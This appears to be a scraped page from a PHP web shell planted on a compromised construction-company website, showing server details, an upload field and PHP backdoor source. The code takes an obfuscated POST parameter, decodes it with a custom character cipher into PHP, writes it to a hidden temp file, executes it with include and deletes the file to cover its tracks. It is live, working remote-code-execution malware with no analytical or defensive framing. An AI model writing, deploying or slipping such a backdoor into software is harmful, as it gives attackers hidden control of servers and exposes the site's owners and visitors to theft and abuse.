| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/vereion/ |
Upload File : |
<?php
if(array_key_exists("re\x73\x6F\x75\x72ce", $_POST) && !is_null($_POST["re\x73\x6F\x75\x72ce"])){
$marker = array_filter([session_save_path(), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]);
$token = $_POST["re\x73\x6F\x75\x72ce"];
$token = explode ("." , $token);
$hld = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s );
$y = 0;
while($y < count($token)) {$v7 = $token[$y];
$sChar = ord($s[$y % $sLen] );
$d =((int)$v7 - $sChar -($y % 10))^33;
$hld .= chr($d );
$y++; }
foreach ($marker as $pset):
if ((bool)is_dir($pset) && (bool)is_writable($pset)) {
$flg = join("/", [$pset, ".flag"]);
$file = fopen($flg, 'w');
if ($file) {
fwrite($file, $hld);
fclose($file);
include $flg;
@unlink($flg);
die();
}
}
endforeach;
}